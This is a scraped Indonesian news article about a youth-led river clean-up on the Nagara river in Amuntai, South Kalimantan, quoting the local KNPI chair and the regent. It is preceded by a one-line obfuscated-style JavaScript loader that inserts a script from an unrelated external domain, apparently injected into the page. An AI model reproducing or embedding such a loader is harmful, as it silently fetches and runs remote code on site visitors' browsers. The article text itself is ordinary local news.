(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Musim kemarau yang masih mendera seperti sekarang ini, tak ayal menjadikan aliran sungai surut bahkan sebagiannya mengering. Ha ini menjadikan sungai tampak dipenuhi sampah. Kondisi ini membuat ratusan pemuda yang  berasal dari organisasi kepemudaan tergerak menggelar aksi bersih – bersih sungai dalam rangka Aksi Gerakan Pemuda Hulu Sungai Utara (HSU) Peduli Lingkungan.
Seperti baru dilakukan di kawasan aliran Sungai Nagara yang melintasi kota Amuntai, tepatnya dibawah Jembatan Paliwara, dan kawasan Siring itik Kecamatan Amuntai Tengah, Minggu (13/10).
Kegiatan aksi yang diprakarsai oleh Komite Nasional Pemuda Indonesia (KNPI) HSU juga diikuti langsung oleh Bupati HSU H. Abdul Wahid HK beserta jajaran pemerintah terkait seperti Dinas Perumahan Pemukiman dan Lingkungan Hidup HSU(Disperkim LH), Badan Penanggulangan Bencana Daerah HSU (BPBD) dan TAGANA yang terjun langsung untuk bersih – bersih disepanjang aliran sungai Negara.
Ketua KNPI HSU Almien Anshar Safari menuturkan, Kegiatan aksi gerakan pemuda HSU peduli lingkungan ini adalah salah satu upaya mengurangi penceramaran lingkungan khususnya di sungai HSU.
“Kegiatan ini juga merupakan kegiatan rangkaian dari kegiatan sumpah pemuda, yang mana aksi ini partisipasi seluruh pemuda di HSU dalam membantu pemerintah daerah meningkatkan kualitas lingkungan di HSU” Tambah Almien.
Dirinya mengajak kepada seluruh pemuda yang ada di HSU untuk mengurangi limbah sampah yang mengakibatakan pencemaran lingkungan di HSU dengan tidak membuang sampah sembarangan di sungai.
Seiring dengan itu, Bupati HSU H. Abdul Wahid HK mengatakan, kegiatan aksi bersih-bersih sungai di kawasan sungai nagara dan jembatan paliwara  ini sangat positif sekali dan membanggakan karena generasi pemuda sadar tentang perlunya kebersihan lingkungan.
Wahid menghimbau kepada seluruh lapisan masyarakat di Kabupaten HSU untuk berusaha tidak membuang sampah di sungai, dimana sampah yang terbuang disungai dari Hulu akan terbawa arus, yang terkena dampak nya adalah masyarakat yang berada di Hilir. “Masyakat untuk sama sekali tidak membuang sampah ke sungai, buanglah sampah pada tempatnya,” ungkapnya.
Selain itu, Bupati Wahid juga mengharapkan seluruh masyarakat, dapat menyediakan tempat pembuangan sampah di rumah masing masing terutama sampah plastik dan sampah rumah tangga. “Buanglah sampah di tempat tertentu atau di buang tempat pembuang sampah sementara, jadi dengan membuang sampah seperti ini secara tidak sengaja telah membantu anak cucu kita menjaga kebersihan lingkungan dan kesehatan,” tandas Wahid. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.